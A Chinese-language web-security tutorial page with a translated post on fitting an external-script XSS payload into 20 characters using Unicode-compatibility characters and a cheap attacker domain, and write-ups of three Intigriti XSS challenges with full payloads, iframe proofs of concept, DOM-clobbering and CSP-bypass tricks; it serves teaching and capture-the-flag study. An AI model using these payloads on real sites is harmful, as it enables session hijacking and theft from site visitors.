2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析EXP以及 如何防御和修复(2)———— 作者:LJS

news2024/11/24 17:47:52

  • 目录

    8.5 Exploiting XSS with 20 characters limitation(蓝色为翻译)​编辑

    Unicode compatibility

    20 length limitation problem

    Taking advantage

    Next steps

    8.6 Intigriti XSS 系列挑战 Writeups

    8.6.1 xss challenge 1220

    题目概述

    思路分析

    POC

    a.有交互

    b.无交互

  • 8.6.2 xss challenge 0121

    题目概述

    思路分析

    POC

    8.6.3 xss challenge 0221

    题目概述

    思路分析

    POC


  • 8.5 Exploiting XSS with 20 characters limitation(蓝色为翻译)

  • Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. However, depending on the injection point, a character limitation problem could be found. In this post, unicode compatibility is going to be taken to exploit some XSS vulnerabilities.
  • (Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. 

    )
  • 跨站点脚本(XSS)是在web渗透测试中发现的最常见的漏洞之一。
  • However, depending on the injection point, a character limitation problem could be found. 
  • 但是,根据注入点的不同,可能会发现字符限制问题。
  • In this post, unicode compatibility is going to be taken to exploit some XSS vulnerabilities.
  • 在这篇文章中,unicode兼容性将被用来利用一些XSS漏洞。
  • Unicode compatibility

  • In Unicode equivalence some sequences of code points represent essentially the same character. This feature was introduced in the standard to allow compatibility with preexisting standard character sets. Unicode provides two ways of handling that: canonical equivalence and compatibility.
  • Canonical equivalence: Code point sequences are assumed to have the same appearance and meaning when printed or displayed. For example, n + ◌̃ = ñ.

  • Compatible equivalence: Code point sequences are assumed to have possibly distinct appearances, but the same meaning in some contexts. For example character has the equivalent to ff.(

  • Unicode兼容性在Unicode等价中,一些代码点序列基本上表示相同的字符。

    在标准中引入该特性是为了兼容先前存在的标准字符集。

    Unicode提供了两种处理方法:规范等价性和兼容性。

    规范等价:假定代码点序列在打印或显示时具有相同的外观和含义。

    例如:n +o=ñ。

    兼容等价:假设代码点序列可能具有不同的外观,但在某些上下文中具有相同的含义。

    例如ff字符与ff等价。)

  • 20 length limitation problem

  • Therefore, supose a length limitation of a payload is set, and we confirm the Javascript execution with a 20 character payload like this:(因此,假设设置了有效载荷的长度限制,我们使用20个字符的有效载荷确认Javascript执行,如下所示:)
  • <svg/οnlοad=alert``>
  • But, this is harmless, because we can only pop an alert, without showing the impact behind a XSS. Loading an external Javascript would be perfect and would give us more flexibility to prepare a more complex attack.(但是,这是无害的,因为我们只能弹出一个警告框,而不会显示XSS背后的影响。加载外部Javascript将是完美的,这将给我们更多的灵活性来准备更复杂的攻击。)
  • <script src=//aa.es>
  • Therefore, a payload like this would be perfect, because we can load a remote Javascript file with 20 characters. But almost every domain of this kind is taken or is too expensive.(因此,这样的有效载荷是完美的,因为我们可以加载包含20个字符的远程Javascript文件。但几乎所有这类域名都被占领了,或者太贵了。)
  • Taking advantage

  • Browsers perform unicode compatibility with some characters, let’s see an example. Supose we have this payload:(浏览器对某些字符的unicode兼容性,让我们看一个例子。假设我们有这样的载荷:)
  • <script src=//ffff.pw>
  • Notice that characters is only one character but when browsers interpret it, it will be expanded as ff two characters. This open the door to buy larger domains, in a cheaper way.(请注意,ff字符只有一个字符,但当浏览器解释它时,它将被扩展为ff两个字符。这为以更便宜的方式购买更大的域名打开了大门。)
  • ff expands to ff

  • ℠ expands to sm

  • ㏛ expands to sr

  • st expands to st

  • ㎭ expands to rad

  • ℡ expands to tel

  • More of these characters can be found here.
  • To check in which characters are decomposed check here:(更多的这些字符可以在这里找到。要检查哪些字符被分解,请检查:)
  • Then, lets register a domain a telsr.pw for example. It costs only $1.28.(然后,让我们注册一个域名telsr。例如Pw。它只要1美元。28.)
  • Domain price

  • Our final payload will look like this:(我们最终的有效载荷看起来像这样:)
  • <script src=//℡㏛.pw>
  • Observe how the normalization is performed and our registered endpoint is trying to be reached with a payload of 20 characters instead of 23 characters thanks of unicode compatibility.
  • 请注意规范化是如何执行的,由于unicode兼容,我们注册的端点试图以20个字符而不是23个字符的有效载荷到达。)
  • PoC

  • Next steps

  • Therefore, a domain is registered and a payload is trying to reach that domain, however it has not executed anything yet.
  • 因此,注册了一个域,一个有效载荷试图到达该域,但它还没有执行任何操作。)
  • One thing came into my mind, let’s perform a DNS Redirect, it will work as follows:
  • 1. XSS is triggered and browser tries to load the content of to telsr.pw

  • 2. DNS redirects to xsshunter.com to trigger the XSS execution.

  • 3. Win

  • 我想到一件事,让我们执行DNS重定向,它的工作原理如下:1。XSS被触发,浏览器尝试加载到telsr的内容。pw2。DNS重定向到xsshunter。. com来触发XSS执行。赢得)

  • But there is a problem, if the connection goes over HTTPS and we trigger a script with src=\\url the protocol will be the same as the website. Then, if we perform a DNS redirect to another site, there will be a certificate mismatch and the Javascript file will not be loaded.
  • 但是有一个问题,如果连接通过HTTPS,并且我们触发一个带有src=\ lurl的脚本,那么协议将与网站相同。然后,如果我们执行DNS重定向到另一个网站,将出现证书不匹配,Javascript文件将无法加载。)
  • If the comunication goes over HTTP this is not a problem, but it is not the common scenario.
  • This was solved doing the following:
  • 1. Buy a hosting to that domain, the cheapest one $1.44/mo. In my case was using namecheap.com.

  • 2. Set up a HTTPS certificate, it is free the first year.

  • 3. In your control panel, go to the redirection form and perform a redirection to the place you have the Javascript file. This is not a DNS redirection, is a server redirection, so there will be not certificate mismatch error because the url is presenting a valid certificate generated in step 2.

  • 4. Redirection is performed and execution triggered.

  • (如果通信通过HTTP进行,这不是问题,但这不是常见的情况。解决方法如下:1。购买该域名的托管服务,最便宜的1美元。44 / mo。在我的例子中,使用的是namecheap.com.2。设置一个HTTPS证书,第一年是免费的。在控制面板中,转到重定向表单并执行重定向到Javascript文件所在的位置。这不是DNS重定向,而是服务器重定向,所以不会出现证书不匹配错误,因为url是在步骤2.4中生成的有效证书。重定向并触发执行。)




  • 8.6 Intigriti XSS 系列挑战 Writeups

  • 8.6.1 xss challenge 1220

  • 题目概述

  • 地址:https://challenge-1220.intigriti.io/ ,挑战有以下要求:
  • 使用最新版的Firefox或者Chrome浏览器

  • 执行JS:alert(document.domian)

  • 在域名challenge-1220.intigriti.io下被执行

  • 不允许self-XSS 和 MiTM 攻击

  • 思路分析

  •  可以看到页面上有一个计算器,尝试进行一些简单的操作,能发现url中会加入一些参数
  • https://challenge-1220.intigriti.io/?num1=6&operator=%2B&num2=6
  • img

  • 检查页面源码,查看JS文件script.js:  
  • // 设置全局变量 window.name,这里被用作一个提示信息,不直接影响功能
    window.name = "Intigriti's XSS challenge";
    
    // 支持的运算符
    const operators = ["+", "-", "/", "*", "="];
    
    // 计算函数,接收两个操作数和一个运算符进行计算
    function calc(num1 = "", num2 = "", operator = "") {
      // 解码运算符,以防止 URL 编码影响
      operator = decodeURIComponent(operator);
      var operation = `${num1}${operator}${num2}`;
      
      // 将计算过程显示在操作框中
      document.getElementById("operation").value = operation;
    
      // 检查运算符是否有效
      if (operators.indexOf(operator) == -1) {
        throw "Invalid operator.";
      }
    
      // 检查操作数是否只包含数字和字母,不允许特殊字符
      if (!(/^[0-9a-zA-Z-]+$/.test(num1)) || !(/^[0-9a-zA-Z]+$/.test(num2))) {
        throw "No special characters.";
      }
    
      // 检查操作长度是否超过20个字符
      if (operation.length > 20) {
        throw "Operation too long.";
      }
    
      // 使用 eval 函数计算结果并返回
      return eval(operation);
    }
    
    // 初始化函数,在页面加载时调用,尝试计算并显示结果
    function init() {
      try {
        document.getElementById("result").value = calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator"));
      } catch (ex) {
        console.log(ex); // 捕获异常并输出到控制台
      }
    }
    
    // 获取 URL 查询参数的函数
    function getQueryVariable(variable) {
      // 获取当前 URL 的查询部分
      var searchQueryString = window.location.href.substr(window.location.href.indexOf("?") + 1, window.location.href.length);
      var vars = searchQueryString.split('&');
      var value;
      
      // 遍历查询参数,寻找匹配的变量名
      for (var i = 0; i < vars.length; i++) {
        var pair = vars[i].split('=');
        if (decodeURIComponent(pair[0]) == variable) {
          value = decodeURIComponent(pair[1]);
        }
      }
      return value; // 返回找到的变量值
    }
    
    // 页面加载完成时的操作
    window.onload = function() {
      init(); // 初始化页面状态
    
      // 绑定数字按钮的点击事件
      var numberBtns = document.body.getElementsByClassName("number");
      for (var i = 0; i < numberBtns.length; i++) {
        numberBtns[i].onclick = function(e) {
          setNumber(e.target.innerText); // 点击数字按钮,设置对应的操作数
        };
      };
    
      // 绑定运算符按钮的点击事件
      var operatorBtns = document.body.getElementsByClassName("operator");
      for (var i = 0; i < operatorBtns.length; i++) {
        operatorBtns[i].onclick = function(e) {
          setOperator(e.target.innerText); // 点击运算符按钮,设置当前的运算符
        };
      };
    
      // 绑定清除按钮的点击事件
      var clearBtn = document.body.getElementsByClassName("clear")[0];
      clearBtn.onclick = function() {
        clear(); // 点击清除按钮,清除所有操作数和运算符
      }
    }
    
    // 设置操作数的函数
    function setNumber(number) {
      var url = new URL(window.location);
      var num1 = getQueryVariable('num1') || 0;
      var num2 = getQueryVariable('num2') || 0;
      var operator = getQueryVariable('operator');
      
      // 根据当前操作符和操作数设置新的 URL 查询参数
      if (operator == undefined || operator == "") {
        url.searchParams.set('num1', parseInt(num1 + number));
      } else if (operator != undefined) {
        url.searchParams.set('num2', parseInt(num2 + number));
      }
      
      // 使用新的 URL 更新浏览器历史记录并重新初始化页面
      window.history.pushState({}, '', url);
      init();
    }
    
    // 设置运算符的函数
    function setOperator(operator) {
      var url = new URL(window.location);
    
      // 如果已经有第二个操作数,则进行上一步操作的计算
      if (getQueryVariable('num2') != undefined) {
        url.searchParams.set('num1', calc(getQueryVariable("num1"), getQueryVariable("num2"), getQueryVariable("operator")));
        url.searchParams.delete('num2'); // 删除第二个操作数
        url.searchParams.set('operator', operator); // 设置新的操作符
      } else if (getQueryVariable('num1') != undefined) {
        url.searchParams.set('operator', operator); // 设置操作符
      } else {
        alert("You need to pick a number first."); // 如果没有第一个操作数,弹出警告
      }
    
      // 使用新的 URL 更新浏览器历史记录并重新初始化页面
      window.history.pushState({}, '', url);
      init();
    }
    
    // 清除操作的函数
    function clear() {
      var url = new URL(window.location);
      
      // 删除所有的操作数和操作符
      url.searchParams.delete('num1');
      url.searchParams.delete('num2');
      url.searchParams.delete('operator');
      
      // 使用新的 URL 更新浏览器历史记录并重新初始化页面
      window.history.pushState({}, '', url);
      document.getElementById("result").value = ""; // 清空结果显示框
      init();
    }
    
  • 可以看到cals()函数包含eval(),但同时也对参数的类型和长度进行了一些限制:!这里先忽略长度20的限制。如果我们能控制location的值就可以执行xss:
  • 所以我们需要找到一个可控的全局变量:  
  • 经过分析,发现searchQueryString,内容就是URL后面附加的一堆参数:  
  • window.searchQueryString = window.location.href.substr(window.location.href.indexOf("?") + 1, window.location.href.length);
  • 因此,构造payload?javascript:alert(1)//num1=9&operator=%2B&num2=searchQueryString,则searchQueryString的值就包含javascript:alert(1):  
  • img

  • 现在只需要让location等于searchQueryString,构造payload:?javascript:alert(1)//&num1=loaction&operator=-&num2=searchQueryString:  
  • img

  • 但在执行过程中eval(operation);operationlocation=searchQueryString,长度超过20被限制。因此,现在需要绕过长度20的限制。
  • 为了能缩短长度,经过研究,可以首先让a=searchQueryString(len=19),然后再让location=a(len=10):
  • img

  • 为了达到这个目标,需要以下条件:
  • 整个过程需要至少执行两次(a=searchQueryStringlocation=a

  • 在两次执行中,需要能改变参数num1 num2的值(两次执行对应的参数值不同)

  • 通过观察,clear()函数与window.onload均包含init():
  • img

  • img

  •  
  • POC

  • a.有交互
  • 利用clear()函数实现xss,需要用户交互,构造payload:
  • <!-- HTML 部分 -->
    <iframe id="intigriti" src="https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=a&operator=%3D&num2=searchQueryString"  style="border-style:none;" width=500 height=500></iframe>
    
    <!-- JavaScript 部分 -->
    <script>
        // 在页面加载后延迟1秒执行 secondchange 函数
        setTimeout(secondchange, 1000);
    
        // 定义 secondchange 函数
        function secondchange() {
            // 更改 id 为 intigriti 的 iframe 的 src 属性
            document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=location&operator=%3D&num2=a";
        }
    </script>
    
  • 点击计算器C键,调用clear() ==> init(),实现第二次执行,成功实现xss:
  • img

  • b.无交互
  • 为了实现无需用户交互下的xss,可用构造onhashchange="init" 事件,每当hash变化后就调用init:
  • <!-- HTML 部分 -->
    <iframe id="intigriti" src="https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=onhashchange&operator=%3D&num2=init" style="border-style:none;" width=500 height=500></iframe>
    
    <!-- JavaScript 部分 -->
    <script>
        // 在页面加载后延迟1秒执行 firstchange 函数
        setTimeout(firstchange, 1000);
        // 在页面加载后延迟2秒执行 secondchange 函数
        setTimeout(secondchange, 2000);
    
        // 定义 firstchange 函数
        function firstchange() {
            // 更改 id 为 intigriti 的 iframe 的 src 属性
            document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=a&operator=%3D&num2=searchQueryString";
        }
    
        // 定义 secondchange 函数
        function secondchange() {
            // 更改 id 为 intigriti 的 iframe 的 src 属性
            document.querySelector("#intigriti").src = "https://challenge-1220.intigriti.io/?javascript:alert(document.domain)//#&num1=location&operator=%3D&num2=a";
        }
    </script>
    
  • img

  • 8.6.2 xss challenge 0121

  • 题目概述

  • 地址:https://challenge-0121.intigriti.io/ ,挑战有以下要求:
  • 使用最新版的Firefox或者Chrome浏览器

  • 通过alert()弹出 {THIS_IS_THE_FLAG}

  • 利用此页面的xss漏洞

  • 不允许self-XSS 和 MiTM 攻击

  • 思路分析

  • 查看网页JS代码:
  • // 解析当前页面的 URL,并获取查询参数中的 r 值
    window.href = new URL(window.location.href);
    window.r = href.searchParams.get("r");
    
    // 清理可能包含恶意值的全局变量
    ["document", "window"].forEach(function(interface){
        Object.keys(window[interface]).forEach(function(globalVariable){
            // 检查全局变量是否为字符串类型,并且是否包含 "javascript",如果是则删除该全局变量
            if((typeof window[interface][globalVariable] == "string") && (window[interface][globalVariable].indexOf("javascript") > -1)){
                delete window[interface][globalVariable];
            }
        });
    });
    
    // 当页面加载完成后执行的操作
    window.onload = function(){
        // 获取所有的 <a> 标签
        var links = document.getElementsByTagName("a");
        // 遍历每个 <a> 标签
        for(var i = 0; i < links.length; i++){
            // 为每个 <a> 标签添加点击事件处理程序
            links[i].onclick = function(e){
                e.preventDefault(); // 阻止默认的点击事件行为
                safeRedirect(e.target.href); // 调用 safeRedirect 函数进行安全重定向
            }
        }
    }
    
    // 如果 URL 参数中存在 r 值,则进行安全重定向
    if(r != undefined){
        safeRedirect(r);
    }
    
    // 安全重定向函数,接受一个 URL 参数
    function safeRedirect(url){
        // 检查 URL 是否包含任何不安全字符
        if(!url.match(/[<>"' ]/)){
            // 延迟5秒执行重定向操作
            window.setTimeout(function(){
                if(url.startsWith("https://")){
                    window.location = url; // 如果是 https 开头的 URL,则直接重定向到该 URL
                }
                else{ // 如果不是 https 开头的 URL,则本地重定向到 origin + "/" + url
                    window.location = window.origin + "/" + url;
                }
                // 延迟1秒后显示错误信息
                window.setTimeout(function(){
                    document.getElementById("error").style.display = "block";
                }, 1000);
            }, 5000); // 5秒后执行重定向操作
    
            // 在 id 为 popover 的元素中显示重定向提示信息
            document.getElementById("popover").innerHTML = `
                <p>You're being redirected to ${url} in 5 seconds...</p>
                <p id="error" style="display:none">
                    If you're not being redirected, click <a href=${url}>here</a>
                </p>.`;
        }
        else{
            alert("Invalid URL."); // 如果 URL 包含不安全字符,则弹出提示框
        }
    }
    
  •  首先定义了一个搜索参数rwindow.r = href.searchParams.get("r");,然后对document window的所有属性进行循环检查并加限制,如果属性为字符串且包含javastript,则被删除:
  • img

  • 最后可以看到一个可疑的safeRedirect()函数,r未定义就会被传入到这个函数中。并且对参数url进行了限制,不允许包含< > " ' (空格) ,如果urlhttps://开头,window.location设为该URL;如果不是,则将window.location 设为window.origin + "/" + url。此外,通过error的重定向,可以将<a href=${url}>here</a>嵌入到网页中。
  • 综上分析,目前有几个点需要突破:
  • javastript 不能出现在r参数中;

  • < > " ' (空格) 不能出现在r参数中;

  • 通过error信息嵌入html标签;

  • 由于window.originhttps://challenge-0121.intigriti.io 所以url总以https://开头,则不能被控制;

  •  首先尝试进行一个简单的重定向尝试,输出入https://challenge-0121.intigriti.io/?r=aaaaaa被重定向到 https://challenge-0121.intigriti.io/aaaaaa 且嵌入了标签:
  • img

  • 当将%0a插入到r的值中,如r=aaa%0aaaa=bbb时,嵌入的标签就可以被控制:
  • img

  • 为了能使window.location 被设为window.origin + "/" + url,则需要window.orgin不以https://开头,但该默认网页的window.orgin无法更改(总是https://challenge-0121.intigriti.io),所以这里需要换一种思路思考。
  • img

  • 我注意到本题的要求“通过alert()弹出 {THIS_IS_THE_FLAG}”“在这个页面实现XSS” ,而不像其他题目需要执行“alert(document.domian)或者alert(origin)”“在域名challenge.intigriti.io在实现XSS”,那么有可能通过本挑战一个特定的子域名*.challenge-0121.intigriti.io来控制window.origin的值,从而达到控制window.location 的目的。
  • 通过Sublist3r工具进行寻找,发现了子域名:javascript.challenge-0121.intigriti.iowindow.origin没有被定义:
  • img

  • https://javascript.challenge-0121.intigriti.io/?r=aaaaaa被重定向到
    
    
    https://javascript.challenge-0121.intigriti.io/undefined/aaaaaa:
  • img

  • 如此一来,结合前面的可控的嵌入的html标签,即可控制window.origin的值。构造r=aaa%0aid=origin
  • img

  • 进一步构造r=https://attack.com%0aid=origin,可以看到:
  • img

  • 并且被重定向到attack的地址:
  • img

  • 利用大小写可以绕过“javastript 不能出现在r参数中”的限制,因此,我们可以构造payload:r=jAvascript:alert(1)/%0aid=origin,即可执行xss:
  • img

  • 为了弹出 {THIS_IS_THE_FLAG},由于< > " ' (空格) 不能出现在r参数中,可以使用 号;或者使用flag.innerHTML`。
  • POC

  • 最终的payload:
  • https://javascript.challenge-0121.intigriti.io/?r=jAvascript:alert(flag.innerHTML)/%0aid=origin
  • img

  • https://javascript.challenge-0121.intigriti.io/?r=jAvascript:alert(`{THIS_IS_THE_FLAG}`)/%0aid=origin
  • img

  • 8.6.3 xss challenge 0221

  • 题目概述

  • 地址:https://challenge-0221.intigriti.io/ 该挑战是根据真实漏洞场景改编而来,挑战有以下要求:
  • 触发alert(origin)

  • 绕过CSP限制

  • 不需要用户交互

  • 使用最新版的Firefox或者Chrome浏览器

  • 利用此页面的xss漏洞

  • 不允许self-XSS 和 MiTM 攻击

  • 思路分析

  • 首先分析网页功能,随便输入一些字符串:
  • img

  • 可以看到网页反馈提示收到提交信息,并可以生成一个share link。点击share link,浏览器地址栏生成带有参数的地址如下:
  • https://challenge-0221.intigriti.io/?assignmentTitle=aaaaaaaaaaaa&assignmentText=aaaaaaaaaaaaaaaaa...
  • 由此可以判定,可以利用参数值构造payload形成xss。
  • 检查网页源码,发现script.js:
  • img

  • // 定义一个全局变量 'question',生成一个随机的加法问题
    var question = `${Math.floor(Math.random() * 10) + 1} + ${Math.floor(Math.random() * 10) + 1}`;
    
    // 在页面中显示生成的问题
    document.getElementById("question").innerText = `${question} = ?`;
    
    // 添加点击事件监听器,点击提交按钮时触发 'startGrade()' 函数
    document.getElementById("submit").addEventListener("click", startGrade);
    
    // 检查URL参数是否包含 'autosubmit',如果有,则自动触发 'startGrade()' 函数
    const urlParams = new URLSearchParams(location.search);
    if (urlParams.has("autosubmit")) {
      startGrade(); // 如果URL中有 'autosubmit' 参数,则自动开始评分过程
    }
    
    // 开始评分过程的函数
    function startGrade() {
      // 获取文本输入框中的内容
      var text = document.getElementById("assignmentText").value;
      
      // 检查文本内容的长度
      checkLength(text);
      
      // 初始化 'result' 对象,如果尚未定义,则说明提交内容过短
      result = window.result || {
        message: "Your submission is too short.",
        error: 1,
      };
      
      // 如果存在错误(提交内容过短),则结束评分过程
      if (result.error) {
        endGrade();
      } else {
        // 获取并验证答案输入框中的答案
        getQAnswer();
        
        // 如果答案不正确,则更新 'result' 的消息
        if (!passQuiz()) {
          result.message = "We don't allow robots at the Unicodeversity (yet)!";
          result.error = 1;
        } else {
          // 随机分配一个等级(A到F)给 'result.grade',这里只是演示,实际没有使用到学生的提交内容
          result.grade = "ABCDEF"[Math.floor(Math.random() * 6)];
        }
        
        // 结束评分过程
        endGrade();
      }
    }
    
    // 结束评分和更新页面的函数
    function endGrade() {
      // 在页面上显示 'result.message' 的内容
      document.getElementById("message").innerText = result.message;
      
      // 如果存在 'result.grade',则在页面上显示获得的等级
      if (result.grade) {
        document.getElementById("grade").innerText = `You got a(n) ${result.grade}!`;
      }
      
      // 设置分享链接可见性
      document.getElementById("share").style.visibility = "initial";
      
      // 设置分享链接的 href 属性,包含作业标题和文本内容
      document.getElementById("share-link").href = `https://challenge-0221.intigriti.io/?assignmentTitle=${document.getElementById("assignmentTitle").value}&assignmentText=${document.getElementById("assignmentText").value}`;
      
      // 删除 'result' 对象,清理不必要的数据
      delete result;
    }
    
    // 检查文本长度的函数
    function checkLength(text) {
      // 如果文本长度超过50个字符,则更新 'result' 对象显示感谢消息
      if (text.length > 50) {
        result = { message: "Thanks for your submission!" };
      }
    }
    
    // 获取并验证问题答案的函数
    function getQAnswer() {
      // 获取答案输入框中的值
      var answer = document.getElementById("answer").value;
      
      // 使用正则表达式验证答案是否为数字
      if (/^[0-9]+$/.test(answer)) {
        // 如果 'result' 已定义,则将答案值赋给 'result.questionAnswer'
        if (typeof result !== "undefined") {
          result.questionAnswer = { value: answer };
        } else {
          // 否则初始化 'result' 并将答案值赋给 'result.questionAnswer'
          result = { questionAnswer: { value: answer } };
        }
      }
    }
    
    // 验证问题答案是否正确的函数
    function passQuiz() {
      // 检查 'result.questionAnswer' 是否已定义
      if (typeof result.questionAnswer !== "undefined") {
        // 使用 eval() 函数验证用户提供的答案是否与生成的 'question' 匹配
        return eval(result.questionAnswer.value + " == " + question);
      }
      return false; // 如果 'result.questionAnswer' 未定义,则返回 false
    }
    
  •  对script.js进行分析,发现几个有意思的点。一是passQuiz函数中存在eval方法,可能会被用来执行我们的js payload:
  • img

  • 其中result.questionAnswer.valuegetAnswer函数获得,但对answer参数进行了限制,只能是数字。
  • img

  • 第二个点是,url中可以包含autosubmit参数,可以用来满足题目中”不需要用户交互”的要求:
  • img

  • 从页面的提示,该挑战涉及到 Unicode编码:
  • Welcome to the Unicodeversity’s Well-trusted Assignment Computer Knowledge system, where we primarily focus on your ability to use cool Unicode and not so much on the content of your submissions
  • (欢迎来到Unicodeversity备受信任的作业计算机知识系统,在这里我们主要关注您使用酷Unicode的能力,而不是您提交的内容)
  • 尝试输入特殊的Unicode字符π(U+03C0)。当直接在输入框中输时,页面不允许:
  • img

  • 直接在url中输入,可以看到页面显示如下:
  • img

  • img

  • 其中(特殊方框)+c0引起了我的注意。通过查询(特殊方框)可知它为U+0003
  • img

  • 以此为例,通过其他Unicode字符测试可以判定,当我们输入一个特定的Unicode字符形如 U+abcd 时,会被解析为U+00ab+cd
  • 由于输入在<inupt>标签中,我们需要对标签进行闭合,构造xss payload。首先的思路是尝试通过"value=进行闭合,并添加事件属性onmouseover=alert(1)依照次思路,我们需要按照页面解析Unicode字符的规律进行构造payload。
  • " —— U+0022
    ∢ —— U+2222
  • 因为"的Unicode编码为U+0022,则∢( U+2222)会被解析为"+22,从而成功闭合:
  • img

  • 构造payload ∢ onmouseover=alert(1)&autosubmit 没有被执行,发现被CSP拦截:
  • img

  • 此路不通,需要换个角度执行js。页面允许script.js执行,可以用来绕过CSP。通过上面对script.js的分析,我们可以利用eval方法执行payload。那么现在的问题就变成了,如何操控result.questionAnswer.value。从上面的分析可以知道,想绕过getAnswer函数的限制是不可能的。通过分析result并没有定义:
  • img

  • 所以我们可以自己定义result进而操控最终的result.questionAnswer.value 首先通过直接修改页面Html验证可行性。如果我们在页面中插入<input id=result>,则能定位到result:
  • img

  • 为了能进一步定位到queationAnswer构造新的标签<input id=result name=questionAnswer value=alert(1)>,并使得value=alert(1):
  • img

  • 这时,eval(result.questionAnswer.value + " == " + question);语句被执行时,我们已经将result.questionAnswer.value的值覆盖为alert(1),便可成功弹窗:
  • img

  • 以上思路的可行性验证完毕,需要构造如下payload,首先对原始的input标签进行闭合,然后插入新的标签:
  • ">
    <input id=result>
    <input id=result name=questionAnswer value=alert(1)>
  • 寻找特殊的Unicode字符:
  • " —— U+0022    ∢ —— U+2222   ===>  "22
    > —— U+003E    㺪 —— U+3EAA   ===>  >aa
    < —— U+003C    㲪 —— U+3EAA   ===>  <aa
  • 所以,进行Unicode替换的payload为:
  • ∢㺪㲪input%20id=result㺪㲪input%20id=result%20name=questionAnswer%20value=alert(1)㺪&autosubmit
  • img

  • 但payload并没有成功执行,原因是㲪(U+3EAA)input 形成了<aainput这一无效标签。由于页面对Unicode字符的解析,必然导致最后两位字符一直存在,无法去除。所以需要对这两位字符进行利用。思路是构造(后两位字符)+(某个字符串)的一个有效的标签,且允许含有value属性。
  • 通过对html 标签进行研究,最终找到<data>标签满足需求:
  • img

  •  
  • POC

  • 构造以<data>为基础的有效payload:
  • ">
    <data id=result>
    <data id=result name=questionAnswer value=alert(1)>
  • 需要的特殊Unicode字符为:
  • 㳚 —— U+3EDA + 'ta'  ===> <da+'ta'  ===>  <data
  • 最终payload为:
  • ∢㺪㳚ta%20id=result㺪㳚ta%20id=result%20name=questionAnswer%20value=alert(origin)㺪&autosubmit
  • img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1942001.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Ubuntu22.04安装与卸载nginx

换源 如果是国内的就不用换 中科大的源&#xff0c;由于我这里是Ubuntu&#xff0c;所以我就直接选Ubuntu22.04就行 点击下载&#xff0c;或者你直接复制这个sources.list的内容到linux中的/etc/apt/sources.list也可以&#xff0c;把原来的sources.list备份一下&#xff0c;…

python+pyqt开发海康相机数据采集系统

pythonpyqt开发海康相机数据采集系统 pythonpyqt开发海康相机数据采集系统 1 开发软件功能&#xff1a; 支持搜索相机&#xff1a;Gige相机设备和USB相机设备支持两种触发模式&#xff1a;软件触发和编码器触发支持数据采集过程中图像实时保存支持参数调节和实时预览&#xff…

安装好anaconda,打开jupyter notebook,新建 报500错

解决办法&#xff1a; 打开anaconda prompt 输入 jupyter --version 重新进入jupyter notebook&#xff1a; 可以成功进入进行代码编辑

批量打断相交线——ArcGISpro 解决方法

在数据处理&#xff0c;特别是地理空间数据处理或是任何涉及图形和线条分析的场景中&#xff0c;有时候需要把相交的线全部从交点打断一个常见的需求。这个过程对于后续的分析、编辑、或是可视化展现都至关重要&#xff0c;因为它可以确保每条线都是独立的&#xff0c;避免了因…

VPN概述

什么是VPN? VPN --- 虚拟专用网 --- 是指依靠ISP或者其他NSP或者企业自身&#xff0c;构建的专用的安全的数据通 信网络&#xff0c;只不过&#xff0c;这个专线网络是逻辑上的&#xff0c;而不是物理上的&#xff0c;所以叫做虚拟专用网 VPN诞生的原因是什么&#xff1f; 1&…

Qt实战:专栏内容介绍及目录

1、专栏介绍 Qt相比Visual Studio (VS) 的优势主要体现在跨平台能力、‌丰富的功能、‌高性能、‌现代UI设计、‌社区支持和企业支持等方面。‌ 跨平台能力&#xff1a;‌Qt 允许应用程序在多个操作系统上编译和运行&#xff0c;‌无需为每个平台编写特定的代码&#xff0c;‌…

小程序内嵌uniapp页面跳转回小程序指定页面方式

使用微信小程序提供的Api&#xff1a;wx.miniProgram.navigateTo 在小程序中嵌套uniapp的H5页面&#xff0c;并使用wx.miniProgram.navigateTo进行页面跳转&#xff0c;需要确保满足以下条件&#xff1a; 你的小程序必须是通过uniapp构建的&#xff0c;并且支持小程序嵌套。 你…

SEO域名外链生成工具PHP源码

两款不同版本的SEO超级外链工具PHP源码&#xff0c;网址外链-seo外链推广工具源码&#xff0c;SEO网站推广外链工具源码SEO域名外链生成工具PHP源码 _ 博客趣两款不同版本的SEO超级外链工具PHP源码&#xff0c;网址外链-seo外链推广工具源码&#xff0c;SEO网站推广外链工具源码…

解决一下Plugin ‘maven-clean-plugin:3.1.0‘ not found的问题

1. 问题描述 当导入别人的Maven项目时&#xff0c;可能会出现Plugin maven-clean-plugin:3.1.0 not found的错误信息。 2. 解决方案 2.1 方案一 检查自己的Maven仓库地址是否正确&#xff0c;一般引入其他人的项目时&#xff0c;Maven仓库的目录以及配置都会是别人的&#xff…

.NET 情报 | 分析某云系统添加管理员漏洞

01阅读须知 此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等&#xff08;包括但不限于&#xff09;进行检测或维护参考&#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失&#xf…

大语言模型-Bert-Bidirectional Encoder Representation from Transformers

一、背景信息&#xff1a; Bert是2018年10月由Google AI研究院提出的一种预训练模型。 主要用于自然语言处理&#xff08;NLP&#xff09;任务&#xff0c;特别是机器阅读理、文本分类、序列标注等任务。 BERT的网络架构使用的是多层Transformer结构&#xff0c;有效的解决了长…

【网络安全】CrowdStrike 的 Falcon Sensor 软件导致 Linux 内核崩溃

CrowdStrike的Falcon Sensor软件&#xff0c;上周导致大量Windows电脑出现蓝屏故障&#xff0c;现在还被发现Linux内核系统崩溃也与CrowdStrike有关。 六月份&#xff0c;Red Hat警告其客户在使用版本为5.14.0-427.13.1.el9_4.x86_64的内核启动后&#xff0c;由Falcon Sensor进…

基于神经网络的聚类分析

